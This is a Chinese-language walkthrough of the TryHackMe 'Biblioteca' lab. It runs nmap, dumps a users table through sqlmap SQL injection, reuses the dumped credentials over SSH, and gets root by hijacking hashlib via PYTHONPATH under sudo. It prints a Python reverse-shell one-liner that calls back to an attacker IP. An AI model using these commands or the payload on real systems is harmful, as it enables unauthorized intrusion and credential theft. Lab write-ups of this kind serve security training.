Bootstrap

靶场练习-TryHackMe-Biblioteca

房间简介:

Shhh. Be very very quiet, no shouting inside the biblioteca.

房间链接:

https://tryhackme.com/room/biblioteca#

问题:

挑战开始:

首先扫描下目标IP

nmap -sC -sV 10.10.220.193

└─# nmap -sC -sV 10.10.220.193
Starting Nmap 7.93 ( https://nmap.org ) at 2023-02-08 05:40 UTC
Nmap scan report for ip-10-10-220-193.eu-west-1.compute.internal (10.10.220.193)
Host is up (0.0075s latency).
Not shown: 998 closed tcp ports (reset)
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 000bf9bf1d49a6c3fa9c5e08d16d8202 (RSA)
|   256 a10c8e5df07fa532b2eb2f7abfedbf3d (ECDSA)
|_  256 9eefc90afce99eede32db130b65fd40b (ED25519)
8000/tcp open  http    Werkzeug httpd 2.0.2 (Python 3.8.10)
|_http-title:  Login 
MAC Address: 02:19:F7:E0:58:6B (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

可以看到开放了两个端口,访问下8000

发现是一个登陆口

尝试了下弱口令,提示账号/密码错误

看了下下面有注册的地方,注册一个号
注册了一个账号test/test
尝试登陆

但是并没有发现什么有用的信息,cookie之类的也都无法越权
于是退出登陆,打开burp登陆时抓包

貌似存在注入,所以保存数据包丢sqlmap跑了下
成功跑出注入

sqlmap -r test.txt --current-db

成功找出当前库website

sqlmap -r test.txt -D website --tables

只有一个表users

sqlmap -r test.txt -D website -T users --dump

直接爆库,成功获取用户信息

尝试用第一个用户登陆

额,一样的界面,没啥发现,尝试密码复用SSH

成功ssh,发现flag在另一个用户目录下,且没有权限读取

这里看了半天,没找到好提权的方法,看来还是先得想办法获取另一个用户的密码

这里首先想到的是密码复用,但是没成功,然后想的是弱口令–还真成功了–
hazel用户的密码就是它本身

成功找到user flag

接着开始尝试提权,首先先看下同一目录下的另一个文件

但是好像和提权没啥关系
尝试sudo -l
发现可以免密root权限执行python运行这个脚本
那重新看下这个py脚本,发现天调用了本地的一个库
那么我们可以修改本地环境变量来触发恶意脚本

首先我们复制hashlib.py到tmp下

cp /usr/lib/python3.8/hashlib.py /tmp/hashlib.py

接着把一下代码加入hashlib.py中

import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.141.145",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")

接着本地做好监听

nc -lvnp 1234

最后更改环境变量并sudo执行

sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/hazel/hasher.py

成功收到shell

成功获取root flag

;